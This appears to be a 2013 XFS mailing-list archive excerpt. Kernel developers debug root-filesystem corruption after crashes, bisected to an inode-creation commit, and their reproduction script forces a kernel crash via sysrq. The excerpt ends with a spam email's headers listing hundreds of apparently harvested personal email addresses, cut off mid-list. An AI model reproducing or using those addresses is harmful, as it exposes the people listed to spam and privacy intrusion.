> > >So users of 3.11.0-rc1 beware. Only run this version if you have > >up-to-date backups handy. > > > > I reviewed the above patch and liked it but, I think I recreated the > above mentioned problem with a simple script: > > cp /root/.bash_history /root/.lesshst /root/.pwclientrc > /root/.viminfo /root/.bash_profile /root/.lesshst.YCJCDz > /root/.quiltrc /somexfsdir > sync > echo 'c' > /proc/sysrq-trigger > .... reboot, remount ... > cd /somexfsdir I've only reproduced the problem *once* with this method - the first time I tried. Then I mkfs'd the filesystem rather than repairing it and I haven't been able to reproduce it since. So the problem is far more subtle that just copying some files, running sync and crashing the machine - there's some kind of initial or timing condition that we are missing that triggers it... The one interesting thing I noticed was that the generation number in the crash case was non-zero. That's an important piece of information, and: > # cat .bash_history > cat: .bash_history: No such file or directory > > xfs_db> inode 131 > xfs_db> p > core.magic = 0x494e > core.mode = 0 That's a "free" inode, and why XFS considers it invalid when the lookup sees it. > core.gen = 3707503345 You saw it as well, Mark. That means it has actually been allocated and written to disk at some point in time. That is, inodes allocated by mkfs in the root inode chunk have a generation number of zero. For this to have a non-zero generation number, it means that had to be written after allocation - either before the sync or during log recovery. Unfortunately, without the 'xfs_logprint -t -i ' output from prior to mounting the filesystem which demonstrates te problem, I can't tell if the issue is a recovery problem or something that happened before the crash.... > revert the above commit and the problem goes away. .... > core.mode = 0100600 Not an free inode... > core.gen = 0 And, importantly, the generation number is zero, as would be expected for an inode in the root chunk. FWIW, if you can reproduce this on demand, Mark, is to see if mounting "-o ikeep" makes the problem go away as this optimisation is only used on filesystems that are configured to free inode chunks... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Jul 20 03:45:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 85E707F4E for ; Sat, 20 Jul 2013 03:45:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6EBAC304053 for ; Sat, 20 Jul 2013 01:44:58 -0700 (PDT) X-ASG-Debug-ID: 1374309894-04cbb0468f11e6050002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id hQjem8DYoQO7lvL6 for ; Sat, 20 Jul 2013 01:44:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnYMAOtM6lF5LNhQ/2dsb2JhbABagwa8I4UtBAGBEBd0giQBAQQBOhwjBQsIAxQECSUPBSUDIROICgW3CBaOLhkVgR0Hg34Dl1yRToMkKoE1 Received: from ppp121-44-216-80.lns20.syd7.internode.on.net (HELO dastard) ([121.44.216.80]) by ipmail05.adl6.internode.on.net with ESMTP; 20 Jul 2013 18:14:53 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V0MHu-0006UW-4Y; Sat, 20 Jul 2013 11:48:46 +1000 Date: Sat, 20 Jul 2013 11:48:36 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: Stan Hoeppner , xfs@oss.sgi.com, Mark Tinguely , Ben Myers Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang Message-ID: <20130720014836.GZ11674@dastard> X-ASG-Orig-Subj: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130719122235.GA360@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1374309896 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 19, 2013 at 02:22:35PM +0200, Markus Trippelsdorf wrote: > On 2013.07.15 at 08:47 +0200, Markus Trippelsdorf wrote: > > On 2013.07.15 at 12:28 +1000, Dave Chinner wrote: > > > On Fri, Jul 12, 2013 at 09:07:21AM +0200, Markus Trippelsdorf wrote: > > > > On 2013.07.12 at 12:17 +1000, Dave Chinner wrote: > > > > > On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > > > > > > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > > > > > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > > > > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > > > > > > > > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > > > > > > >> bisection. First my window-rules disappeared, then my desktop background > > > > > > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > > > > > > >> In the end I had to restore all my .files from backup. > > > > > > > > > > > > > > > > That's not filesystem corruption. That sounds more like someone not > > > > > > > > using fsync in the apropriate place when overwriting a file.... > > > > > > > > > > > > > t@ubunt:~# xfs_repair /dev/sdb > > > > > > Phase 1 - find and verify superblock... > > > > > > Phase 2 - using internal log > > > > > > - zero log... > > > > > > - scan filesystem freespace and inode maps... > > > > > > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > > > > > > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > > > > > > - found root inode chunk > > > > > > > > > > Again, these are signs that log recovery has not completed > > > > > successfully or that for some reason it thought the log was clean. > > > > > Can you please post the dmesg output after the crash when you go > > > > > through the mount/unmount process before you run xfs_repair? > > > > > > > > Sure. > > > > First boot after crash: > > > > XFS (sdb2): Mounting Filesystem > > > > XFS (sdb2): Starting recovery (logdev: internal) > > > > XFS (sdb2): Ending recovery (logdev: internal) > > > > > > > > Second boot after crash: > > > > XFS (sdb2): Mounting Filesystem > > > > XFS (sdb2): Ending clean mount > > > > > > > > I then boot Ubuntu from another disc to run xfs_repair. > > > > > > That's what shoul dhave been in the initial description of your > > > problem. > > > > > > > And looking through my logs I see this WARNING: > > > > > > > > ------------[ cut here ]------------ > > > > WARNING: CPU: 0 PID: 439 at fs/inode.c:280 drop_nlink+0x33/0x40() > > > > CPU: 0 PID: 439 Comm: gconfd-2 Not tainted 3.10.0-08982-g6d128e1-dirty #42 > > > > Hardware name: System manufacturer System Product Name/M4A78T-E, BIOS 3503 04/13/2011 > > > > 0000000000000009 ffffffff8157d030 0000000000000000 ffffffff81060788 > > > > ffff8801f8608cc8 ffff880205998230 ffff8801f7bede58 0000000000000000 > > > > ffff8801f86083c0 ffffffff8110ce93 ffff8801f8608b40 ffffffff811b7104 > > > > Call Trace: > > > > [] ? dump_stack+0x41/0x51 > > > > [] ? warn_slowpath_common+0x68/0x80 > > > > [] ? drop_nlink+0x33/0x40 > > > > [] ? xfs_droplink+0x24/0x60 > > > > [] ? xfs_remove+0x24d/0x380 > > > > [] ? xfs_vn_unlink+0x37/0x80 > > > > [] ? vfs_unlink+0x6e/0xe0 > > > > [] ? do_unlinkat+0x16a/0x220 > > > > [] ? SyS_faccessat+0x149/0x200 > > > > [] ? system_call_fastpath+0x16/0x1b > > > > > > When did that occur? Before the crash, after the first/second mount? > > > after you ran repair? > > > > After the first mount. > > > > > > Some further observations: > > > > > > > > When I boot 3.2.0 after the crash log recovery works fine. > > > > > > > > When I boot 3.9.0 after the crash I get the following: > > > > > > > > [ 2.332989] XFS (sdc2): Mounting Filesystem > > > > [ 2.406206] XFS (sdc2): Starting recovery (logdev: internal) > > > > [ 2.418147] XFS (sdc2): log record CRC mismatch: found 0xdbcaef48, expected 0x69e7934e. > > > > > > Just informational - indicating that the log records don't have > > > valid CRCs in them because 3.2 didn't calculate them. If you are > > > getting them when after a crash on a 3.9+ kernel, then there's a > > > problem writing to the log.... > > > > The crash always occurred on the current Linus tree kernel... > > > > > > When I boot the current Linus tree after the crash log recovery fails silently. > > > > > > dmesg output, please. Indeed, what does "fails silently" mean? the > > > filesystem doesn't mount but no error is given? > > > > Again, there is no dmesg output. XFS tells me that it's "Ending recovery > > (logdev: internal)" without any errors, when indeed it didn't recover > > the log at all. It then mounts the filesystem normally (rw) in this > > unclean state. That's when the WARNING I postend above happend. > > I've bisected this issue to the following commit: > > commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f > Author: Dave Chinner > Date: Thu Jun 27 16:04:49 2013 +1000 > > xfs: don't do IO when creating an new inode > > Reverting this commit on top of the Linus tree "solves" all problems for > me. IOW I no longer loose my KDE and LibreOffice config files during a > crash. Log recovery now works fine and xfs_repair shows no issues. Thanks for bisecting this, Marcus. I'll admit, right now it doesn't make a lot of sense to me - I don't immediately see a connection between not reading an inode during the create phase and unlinked list and directory corruption after a crash. But now you've identified a change that might be the cause, I have an avenue of investigation I can follow. Indeed, in the time I've taken to write this mail I've thought of 2-3 possible causes that I need to investigate.... > So users of 3.11.0-rc1 beware. Only run this version if you have > up-to-date backups handy. Don't be so dramatic - very few people are doing what you are doing, so let's try to understand the root cause of problem before jumping to rash conclusions.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@sgi.com Sat Jul 20 12:21:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DD2547F51 for ; Sat, 20 Jul 2013 12:21:50 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 36EC58F8033; Sat, 20 Jul 2013 10:21:47 -0700 (PDT) Message-ID: <51EAC72B.905@sgi.com> Date: Sat, 20 Jul 2013 12:21:47 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: Markus Trippelsdorf , Ben Myers , Stan Hoeppner , xfs@oss.sgi.com Subject: Re: [Bisected] Corruption of root fs during git bisect of drm system hang References: <20130713090523.GA362@x4> <20130712070721.GA359@x4> <20130715022841.GH5228@dastard> <20130715064734.GA361@x4> <20130719122235.GA360@x4> <51E9AB80.4000700@sgi.com> <20130720031840.GA11674@dastard> In-Reply-To: <20130720031840.GA11674@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 22:18, Dave Chinner wrote: > On Fri, Jul 19, 2013 at 04:11:28PM -0500, Mark Tinguely wrote: >> On 07/19/13 07:22, Markus Trippelsdorf wrote: >>> >>> I've bisected this issue to the following commit: >>> >>> commit cca9f93a52d2ead50b5da59ca83d5f469ee4be5f >>> Author: Dave Chinner >>> Date: Thu Jun 27 16:04:49 2013 +1000 >>> >>> xfs: don't do IO when creating an new inode >>> >>> Reverting this commit on top of the Linus tree "solves" all problems for >>> me. IOW I no longer loose my KDE and LibreOffice config files during a >>> crash. Log recovery now works fine and xfs_repair shows no issues. >>> >>> So users of 3.11.0-rc1 beware. Only run this version if you have >>> up-to-date backups handy. >>> >> >> I reviewed the above patch and liked it but, I think I recreated the >> above mentioned problem with a simple script: >> >> cp /root/.bash_history /root/.lesshst /root/.pwclientrc >> /root/.viminfo /root/.bash_profile /root/.lesshst.YCJCDz >> /root/.quiltrc /somexfsdir >> sync >> echo 'c'> /proc/sysrq-trigger >> .... reboot, remount ... >> cd /somexfsdir > > I've only reproduced the problem *once* with this method - the first > time I tried. Then I mkfs'd the filesystem rather than repairing it > and I haven't been able to reproduce it since. So the problem is > far more subtle that just copying some files, running sync and > crashing the machine - there's some kind of initial or timing > condition that we are missing that triggers it... > > The one interesting thing I noticed was that the generation number > in the crash case was non-zero. That's an important piece of > information, and: > >> # cat .bash_history >> cat: .bash_history: No such file or directory >> >> xfs_db> inode 131 >> xfs_db> p >> core.magic = 0x494e >> core.mode = 0 > > That's a "free" inode, and why XFS considers it invalid when the > lookup sees it. > >> core.gen = 3707503345 > > You saw it as well, Mark. > > That means it has actually been allocated and written to disk at > some point in time. That is, inodes allocated by mkfs in the root > inode chunk have a generation number of zero. For this to have a > non-zero generation number, it means that had to be written after > allocation - either before the sync or during log recovery. > > Unfortunately, without the 'xfs_logprint -t -i' output from > prior to mounting the filesystem which demonstrates te problem, I > can't tell if the issue is a recovery problem or something that > happened before the crash.... > >> revert the above commit and the problem goes away. > .... >> core.mode = 0100600 > > Not an free inode... > >> core.gen = 0 > > And, importantly, the generation number is zero, as would be > expected for an inode in the root chunk. > > FWIW, if you can reproduce this on demand, Mark, is to see if > mounting "-o ikeep" makes the problem go away as this optimisation > is only used on filesystems that are configured to free inode > chunks... > > Cheers, > > Dave. Yeah, I thought of the logprint and the ikeep afterwards. I tried the script today and it did not reproduce the problem. The logprint and the mounted filesystem was empty. I will rebuild the sources to eliminate some patched kernel versions on that box and experiment with the sync and the shooting of the kernel. --Mark. From hoangtankinhte2@gmail.com Sat Jul 20 22:19:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.8 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE,SUBJ_ALL_CAPS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BB4057F3F for ; Sat, 20 Jul 2013 22:19:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AA348304039 for ; Sat, 20 Jul 2013 20:19:50 -0700 (PDT) X-ASG-Debug-ID: 1374376739-04cb6c2a47f7e9e0001-NocioJ Received: from mail-qc0-f194.google.com (mail-qc0-f194.google.com [209.85.216.194]) by cuda.sgi.com with ESMTP id wrVZi4LCIT7jpjpE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO); Sat, 20 Jul 2013 20:18:59 -0700 (PDT) X-Barracuda-Envelope-From: hoangtankinhte2@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.194 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] Received: by mail-qc0-f194.google.com with SMTP id n1so1151214qcx.9 for ; Sat, 20 Jul 2013 20:18:59 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.194] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=IQE+AKmIeRttMaoFXHO+Xe5ExSiVBkPbYwU6N/Ehy+0=; b=0Bzv86CaXI795qmHt2r5kT6EOoLUKMLEm/JRR5BcZkbXpD9wKAdQpke8o9BdXN04uj RuR5laG4m+bVejpzYGikVY/UovjyKjveaV6JUWmlbOD0b5YExhDI9rI4pvvkjMwo/vf5 WYvMLLjXYj6t+2ydIN09MIcVnySXbibFC+BLttuKJ/25Fk1P1iWHh9TykBcmRK1XR3lZ DRL5x56ShJBkLy1/tTE0GdI3KJk8G69SwioV0aZPTXbYguDvl94TD+ShdCDzovbyODNY qw5j09vFV9tvs0Vs8nK93MYe74nqDwIE833ky18K+7zhSN3TdF97WoF512tqznV4ILy2 XcLA== MIME-Version: 1.0 X-Received: by 10.49.71.203 with SMTP id x11mr24828631qeu.95.1374376739372; Sat, 20 Jul 2013 20:18:59 -0700 (PDT) Received: by 10.49.82.7 with HTTP; Sat, 20 Jul 2013 20:18:59 -0700 (PDT) Date: Sun, 21 Jul 2013 10:18:59 +0700 Message-ID: Subject: =?UTF-8?B?Q0hPIFZBWSBUw41OIENI4bqkUA==?= From: hoang hoang X-ASG-Orig-Subj: =?UTF-8?B?Q0hPIFZBWSBUw41OIENI4bqkUA==?= To: 200209031302.50514@henrik.marasystems.com, 200209040211.17000@henrik.marasystems.com, f32txpazmweyryw3esp0000013c@hotmail.com, 200209101713.27035.hno@marasystems.com, accmail@listserv.aol.com, vietha@yahoo.com, tieuthudorf@yahoo.com, info@harbourviewvietnam.com, gb_ck@yahoo.com, phuongltp@yahoo.com, leminh_amd@yahoo.com, nttrang@fcv.fujitsu.com, bau261@yahoo.com, ddhuyphong@yahoo.com, ykhoa-subscribe@topica.com, ducnghia191@yahoo.com, vongoctri@yahoo.com, current_9600124@yahoo.com, binhnx2000@yahoo.com, physdot@yahoo.com, hungript@fptnet.com, temely@yahoo.com, ltvpro@yahoo.com, tutorvn@yahoo.com, amicecorp@hotmail.com, phuong_thao15@yahoo.com, management@undergroundsaigon.bizland.com, getdrunk@no5bar.com, kniselyne@harpersmail.co.uk.sgi.com, lockmeter@oss.sgi.com, obrien@oss.sgi.com, holt@oss.sgi.com, schmidt@oss.sgi.com, murray@oss.sgi.com, gomez@oss.sgi.com, fletcher@oss.sgi.com, fox@oss.sgi.com, lockmeter-bounce@oss.sgi.com, dich_vu_email@gmail.com, 20051001153206.23659759142@cuda.sgi.com, 8cf34d86.e37f85f@bureau42.com, geraldina@bureau42.com, update@oss.sgi.com, 20051001153211.57bd6759145@cuda.sgi.com, owner-projects@oss.sgi.com, ogl-sample-bounce@oss.sgi.com, postwait@oss.sgi.com, daniel@oss.sgi.com, gudrun@pdacopy.com, owner-linux-xfs@oss.sgi.com, craig@oss.sgi.com, apache@oss.sgi.com, rios@oss.sgi.com, githa@hotrodfanatic.com, 991cb455.bcf3d1c@hotrodfanatic.com, ver@oss.sgi.com, leonard@oss.sgi.com, hampton@oss.sgi.com, ltp@oss.sgi.com, bugzilla-daemon@oss.sgi.com, qarce@oss.sgi.com, 29efc1cf.c385ed9@tibetlink.com, ashleigh@tibetlink.com, dich.vu.email@gmail.com, 20051004034217.9d32fd12360d@cuda.sgi.com, 20051004034215.acac4d123600@cuda.sgi.com, jibesler@starspath.com, butusixam@rochester-mail.com, schultz@oss.sgi.com, ljp@oss.sgi.com, majordomo@oss.sgi.com, 54798978.c030e7a@timsvault.com, darbiy@timsvault.com, burns@oss.sgi.com, potter@oss.sgi.com, roseanne@v100.com, aeffed15.85c8ace@v100.com, beck@oss.sgi.com, da78e952.74047b2@gopilipinas.com, rhirys@gopilipinas.com, ftp@oss.sgi.com, raynaeza@weddingsatwork.com, ce262467.feaa4f7@weddingsatwork.com, willaord@home-schooled.com, 6ea765e6.04f8a5d@home-schooled.com, keller@oss.sgi.com, jhong@inalambrica.com, b3d68d94.7429e7d@jessicahsuan.com, phylicia@jessicahsuan.com, kyongiser@pdacopy.com, d0478b86.a0f5a59@pdacopy.com, odiane@allin1.com, 4e798f46.0bfcf12@allin1.com, ogl-sample-cvs-bounce@oss.sgi.com, rainena@madness7.com, 7f1d4f9e.a1af963@madness7.com, kim@oss.sgi.com, tucker@oss.sgi.com, hawkes@oss.sgi.com, porter@oss.sgi.com, mackenzie@queryster.com, ece3304b.4720744@queryster.com, 6fffa901.fd19d7b@webmastercandy.com, theresa@webmastercandy.com, aary@familycommunications.com, 2ad62b85.a9ec9ec@familycommunications.com, reggie@disbands.com, f9f24fa8.fcbcc42@disbands.com, terry@oss.sgi.com, phfinck@tenderkiss.com, f1c53c88.c9b99cf@tenderkiss.com, 1fff8e96.c4d435d@bhanvad.com, shandapalms@bhanvad.com, 0cb74277.556092b@soflyentertainment.com, wiren@soflyentertainment.com, netdev@oss.sgi.com, bowman@oss.sgi.com, ralf@oss.sgi.com, xfs-master@oss.sgi.com, 021f41e5.275be86@clemsonalumni.com, deloras@clemsonalumni.com, lowe@oss.sgi.com, 9b23229b.f62ba96@papermvp.com, meter@papermvp.com, ecartis@oss.sgi.com, arnold@oss.sgi.com, dev@oss.sgi.com, rainlynne@imazn.com, c16820ab.da68545@imazn.com, ia64devtools@oss.sgi.com, fam@oss.sgi.com, sadyedotis@newchennai.com, teofilalagunatson@fun.scrapbookscrapbook.com, 8c2e9453.73baed1@fun.scrapbookscrapbook.com, 3d8bfd14.14ea6f9@offspringemail.com, jemiah@offspringemail.com, 43aa1c2a.581cc97@zebraindustries.com, christal@zebraindustries.com, wiley@emused.com, 3b000998.f9e17a3@bigpuns.com, chauncey@bigpuns.com, blair@oss.sgi.com, kaio@oss.sgi.com, benzion@freebiemaniac.com, c2c568b7.d540191@freebiemaniac.com, isreal@freebiemaniac.com, caa675bc.268e01e@freebiemaniac.com, xzavier@hong-kong-1.com, 59f3a7a5.34edc59@killerfrogs.com, saranana@killerfrogs.com, adamme@havem.com, 3736ab3f.ca7db4f@havem.com, alibhagat@vadodaramail.com, d3ea0b3d.0cab7ef@vadodaramail.com, sullivan@oss.sgi.com, leonarde@yellowdogs.com, 7c9547d5.36543c1@yellowdogs.com, 3f69318d.fbb34ec@freshlittlesoulsistah.com, adilain@freshlittlesoulsistah.com, andrews@oss.sgi.com, adiamian@photographyfan.com, 12171533.cfa7d83@photographyfan.com, rozeanne@kuririnmail.com, 27a16e7b.8eff189@kuririnmail.com, olson@oss.sgi.com, 5c8cc773.1cfd0dd@thebrewer.com, jobina@thebrewer.com, academicus@dzite.com, ahrie@stormmail.com, fa05a166.f337322@stormmail.com, rajna@madness7.com, 3ac711d3.c2f6b90@madness7.com, nguyen@oss.sgi.com, dmsdk@oss.sgi.com, c6f6985e.da42deb@thedanforth.com, marvissez@thedanforth.com, sedwardo@splanic.com, sample@oss.sgi.com, 3088d92b.db66ec5@1colony.com, aiko@1colony.com, info-inventor@oss.sgi.com, kaiylee@a1onlinemall.com, pearl_mail@126.com, vamkt@yahoo.com, cuonga1@yahoo.com, allornothingh@yahoo.com, thuy_hang_do@yahoo.com, zimu273@yahoo.com, fmhanh@hotmail.com, nhihienus@yahoo.com, ngphiep@yahoo.com, beckham7583vnn@yahoo.com, la_sat_vuong@yahoo.com, isiiu@fptnet.com, duy_khangvn@yahoo.com, nuocmat2000@yahoo.com, matnaitim@yahoo.com, pavavapa@yahoo.com, satthutrencaydudu@yahoo.com, khuynh_nhat@yahoo.com, nhocti_jun@goithu.com, kg_pippo4ever@yahoo.com, thang_85@yahoo.com, teddyloveta@yahoo.com, chiprangkhenh@yahoo.com, trtoan@fptnet.com, artlover304@yahoo.com, wizardworldus@yahoo.com, vmtv2k@yahoo.com, nguyen_hieu_trung@yahoo.com, tungnc@ttnkvn.com, anhtho711@yahoo.com, quocvu@myrealbox.com, meobamau@yahoo.com, nhocti_jun@yahoo.com, youngtqh@yahoo.com, theghost3000uk@yahoo.com, michaeljackson35@yahoo.com, tuanhetfield@yahoo.com, co_be_ma_hong@yahoo.com, ec9_lqd@yahoo.com, alessandro84vn@yahoo.com, tocngan_nt@yahoo.com, luna_angelhi@yahoo.com, toquyenkt2002@yahoo.com, ducminh1976@yahoo.com, dykislys@yahoo.com, tienhungpv@yahoo.com, truoclasauquen@yahoo.com, hoanghaianh1983vn@yahoo.com, tocngan_mtv@yahoo.com, truongsonmusic@yahoo.com, huongceline@yahoo.com, doimatnai2@yahoo.com, tnminhthu@yahoo.com, funnyqueen@hehe.com, friend_or_love@37.com, bupbetoctim@hotmail.com, canavaro1984vn_ub@yahoo.com, tson1710@hotmail.com, foryou_vn@yahoo.com, thuynguyen000@yahoo.com, alonestar_hd@yahoo.com, vietcomf@yahoo.com, huymc82002@yahoo.com, hoatrinhnu910@yahoo.com, t_rock_n_rose@rock.com, hoanganhbk7@yahoo.com, cricketdn@yahoo.com, bruceleehvt@yahoo.com, mine_and_magic@yahoo.com, kingofspaceinvn@yahoo.com, forever064@yahoo.com, anh-chang@operamail.com, bup_be_nho@yahoo.com, crazyteenpopfan@yahoo.com, nhatvan2410@yahoo.com, dongancaptain@yahoo.com, pyders1984@yahoo.com, peaceduong@hotmail.com, casper_86vn@yahoo.com, somewhereoutthere@fptnet.com, mailhn@yahoo.com, changtraihaybuon@yahoo.com, realspy000@yahoo.com, giangnguyent84@yahoo.com, yeulakho_hihi@yahoo.com, red_chili@hehe.com, guardian_angel852002@yahoo.com, kiko_kiko412@yahoo.com, pinksnow911@yahoo.com, ngaoneinamillion@yahoo.com, 